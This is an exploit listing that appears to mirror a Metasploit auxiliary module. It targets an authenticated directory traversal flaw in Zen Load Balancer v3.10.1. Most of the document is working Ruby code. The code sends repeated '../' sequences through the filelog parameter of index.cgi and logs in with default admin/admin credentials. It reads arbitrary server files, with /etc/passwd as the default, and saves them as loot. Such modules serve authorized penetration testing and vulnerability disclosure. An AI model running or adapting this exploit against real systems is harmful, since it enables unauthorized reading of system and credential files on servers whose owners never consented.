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Zen Load Balancer Directory Traversal

Zen Load Balancer Directory Traversal
Posted Sep 1, 2024
Authored by Dhiraj Mishra, Basim Alabdullah | Site metasploit.com

This Metasploit module exploits a authenticated directory traversal vulnerability in Zen Load Balancer v3.10.1. The flaw exists in index.cgi not properly handling filelog= parameter which allows a malicious actor to load arbitrary file path.

tags | exploit, arbitrary, cgi
SHA-256 | 011af6df07f2ee11564536666bb82966d29715170c3c7d030a6d4aaa8987376b

Zen Load Balancer Directory Traversal

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Zen Load Balancer Directory Traversal',
'Description' => %q{
This module exploits a authenticated directory traversal vulnerability in Zen Load
Balancer `v3.10.1`. The flaw exists in 'index.cgi' not properly handling 'filelog='
parameter which allows a malicious actor to load arbitrary file path.
},
'License' => MSF_LICENSE,
'Author' => [
'Basim Alabdullah', # Vulnerability discovery
'Dhiraj Mishra' # Metasploit module
],
'References' => [
['EDB', '48308']
],
'DisclosureDate' => '2020-04-10',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)

register_options(
[
Opt::RPORT(444),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptInt.new('DEPTH', [true, 'The max traversal depth', 16]),
OptString.new('FILEPATH', [false, 'The name of the file to download', '/etc/passwd']),
OptString.new('TARGETURI', [true, 'The base URI path of the ZenConsole install', '/']),
OptString.new('HttpUsername', [true, 'The username to use for the HTTP server', 'admin']),
OptString.new('HttpPassword', [false, 'The password to use for the HTTP server', 'admin'])
]
)
end

def run_host(ip)
filename = datastore['FILEPATH']
traversal = '../' * datastore['DEPTH']

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.cgi'),
'vars_get' =>
{
'id' => '2-3',
'filelog' => "#{traversal}#{filename}",
'nlines' => '100',
'action' => 'See logs'
},
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])
}, 25)

unless res && res.code == 200
print_error('Nothing was downloaded')
return
end

print_good("#{peer} - Downloaded #{res.body.length} bytes")
path = store_loot(
'zenload.http',
'text/plain',
ip,
res.body,
filename
)
print_good("File saved in: #{path}")
end
end
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